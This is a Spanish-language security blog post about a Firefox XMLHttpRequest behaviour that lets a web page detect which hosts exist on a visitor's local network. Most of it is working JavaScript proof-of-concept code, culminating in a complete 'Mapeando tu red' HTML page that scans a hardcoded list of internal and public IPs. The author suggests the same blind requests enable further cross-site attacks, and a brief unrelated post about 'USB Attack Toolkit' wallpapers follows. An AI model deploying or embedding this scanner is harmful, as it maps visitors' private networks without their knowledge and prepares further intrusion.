Los Caballeros

"Sobre seguridad, programación, modding, frikismo, etc... "

Blind HTTP Attack (Firefox XMLHttpRequest SOP Hack)

Twitter icon Twitter icon
Algún tiempo atrás me comencé a preguntar sobre la implementación de XMLHTTPRequest en los diferentes browsers... llegué a algunas conclusiones un poco interesantes y se me ocurrió un "ataque" que se puede utilizar fácilmente para explotar muchas posibilidades. Vamos a ver un poco de esto:

Herramientas de trabajo:
  • Firebug.
  • Un editor de texto cualquiera.
  • Wireshark
  • Terminal xD

Es un poco curioso que el Firefox de OpenSUSE y el oficial no funcionen de la misma forma, por lo que lo dividiremos en 2:

Firefox (10.0.2 OpenSUSE):

<script>
function head(ip){
var xmlhttp = new XMLHttpRequest();
try {
xmlhttp.open("HEAD", "http://"+ip+":80/", false);
xmlhttp.send("");
} catch(err){alert(ip+": "+err);}
}
</script>
<body onload="head('192.168.0.254');head('192.168.0.1');"></body>


Mi modem es 192.168.0.1 y no existe 192.168.0.254 en mi red.

Obtenemos 2 errores:

192.168.0.254: [Exception... "Component returned failure code: 0x805e0006 [nsIXMLHttpRequest.open]" nsresult: "0x805e0006 ()" location: "JS frame :: file:///home/xianur0/Escritorio/0day%27s/test.html :: head :: line 5" data: no]

Y:

192.168.0.1: [Exception... "Component returned failure code: 0x80004005 (NS_ERROR_FAILURE)" nsresult: "0x80004005 (NS_ERROR_FAILURE)" location: "JS frame :: file:///home/xianur0/Escritorio/0day%27s/test.html :: head :: line 6" data: no]


Cómo podrán darse cuenta son dos errores claramente diferentes (uno en nsIXMLHttpRequest.open y otro en nsIXMLHttpRequest.send) apuntando cada uno a una IP diferente... ¿Qué diferencia hay?

Apuntaremos a otro puerto y el resultado es exactamente el mismo.

Tomamos los valores retornados: 0x805e0006 y 0x80004005 y modificamos un poco el script:

<script>
function head(ip){
var xmlhttp = new XMLHttpRequest();
try {
xmlhttp.open("HEAD", "http://"+ip+":80/", false);
xmlhttp.send("");
} catch(er){if(er.result == 0x80004005) alert(ip+" existe");}
}
</script>
<body onload="head('74.125.128.103');head('74.125.128.101');head('74.125.128.102');head('74.125.128.103');head('74.125.128.138');head('74.125.128.139');head('192.168.0.100');head('192.168.0.1');head('192.168.0.100');head('192.168.0.106');head('192.168.0.105');"></body>




nsIXMLHttpRequest.open en algunos casos (como se puede ver en firebug) intenta realizar la conexión a la IP sin importar el SOP, esto obviamente no debería de ser algo bueno :)... pero aun hay algo...



En otras palabras no realiza las conexiones aunque la IP exista... por qué? me pregunto...

En efecto, solo hace consultas a lo que está en mi tabla arp....

Agregaré 192.168.0.103 (que no existe ni está en mi tabla ARP)... y realmente no realiza la conexión (ni da señales de intentarlo)...

Existe un tercer argumento en el metodo open del objeto XMLHttpRequest... el cual podemos definir como:

Variant that specifies true for asynchronous operation (the call returns immediately), or false for synchronous operation. If true, assign a callback handler to the onreadystatechange property to determine when the call has completed. If not specified, the default is true.

Comprobemos pero con otra versión de "exploit":


Vaya, que lindo :P...


<html>
<head><title>Analizando tu red - By Xianur0</title><style>
tr:hover {background-color: #333333}
a:hover {color: #FFFFFF; }
a:link { color:#CCCCCC; }
a:visited { color:#CCCCCC; }
a:active { color:#FFFFFF; }
tr {background-color: #222222}
font-family: arial, sans-serif;
background-repeat: repeat-x;
background-attachment: fixed;}
border-width: 1px 1px 1px 1px;
border-style: solid;}
</style>
<script>
var xmlhttp = new Array();
var id = 0;
var stop=0;
var targets=new Array("192.168.0.105","74.125.128.102","74.125.128.103","74.125.128.113","1.1.1.1","192.168.1.254","173.194.76.113","192.168.1.1","192.168.0.1","192.168.0.20","192.168.0.103","192.168.0.254","10.0.0.1","172.16.0.1");

function mostrar(texto) {
document.getElementById('result').innerHTML += texto+"\n<br /\>";
}
function alertar(val,id){
setTimeout(function() {try{stop=1;xmlhttp[id].abort();}catch(e){};},5000);
}
function scann(target,puerto) {
xmlhttp[id] = new XMLHttpRequest();
alertar(target+":"+puerto,id);
try {
xmlhttp[id].open("HEAD", "http://"+target+":"+puerto+"/", true);
xmlhttp[id].onreadystatechange = function () {
state = '';
try{
state = xmlhttp[id].readyState;
} catch(e){}
if(state != 1 && stop == 0)
mostrar("<font color='red'>"+target+":"+puerto+"-"+(state),"</font>\n<br /\>");
};
xmlhttp[id].send("");
} catch(e) {
// alert(e);
}
id+=1;
}
</script>
</head>
<body onload="for(var i in targets) {scann(targets[i],80);};" alink="#FFFFFF" bgcolor="#000000" link="#CCCCCC" text="#FFFFFF" vlink="#CCCCCC">
<table id="main" align="center" bordercolor="#FFFFFF" cellpadding="15">
<tbody><tr>
<td id="head" width="600">
<center><br><br>
<b>Mapeando tu red:</b><br />
<div id="result">
</div>
</tbody></table><br><br>
</body>
</html>


Muy interesante hasta ahora... pero y el firefox oficial? (el que te bajas de la web tal y como es).... vamos a comprobar ;)...


Eso es el primer "exploit"... vamos a ver con el segundo...


(Nota, todo esto lo intenté desde esquema file:// y http:// entonces no es pretexto :P)

En fin... hay muchas cosas curiosas en XMLHttpRequest... ahora tengo una duda y pediré la ayuda de los usuarios... en otras distros el funcionamiento no es exactamente lo mismo, también afecta aparentemente el como está estructurada la red, por lo tanto este "ataque" es muy variado... y tal vez aun muy inexacto... por eso requiero testers.

Interesados, contactarme :P

xianur0.null [at] gmail.com

¿Qué más podemos hacer con esto?


Al poder enviar consultas "ciegas" aunque no podamos leer la respuesta podemos realizar algo en una página (sea cual sea) por lo que podemos realizar cualquier ataque... a ciegas :)...

Por eso: Blind HTTP Attack

Luego publicaré más de esos ataques a ciegas ;)...

Wallpapers UAT (USB Attack Toolkit)

Twitter icon Twitter icon
Les comparto los wallpapers de UAT diseñados por: Maria Del Castillo personalmente me gustaron mucho :D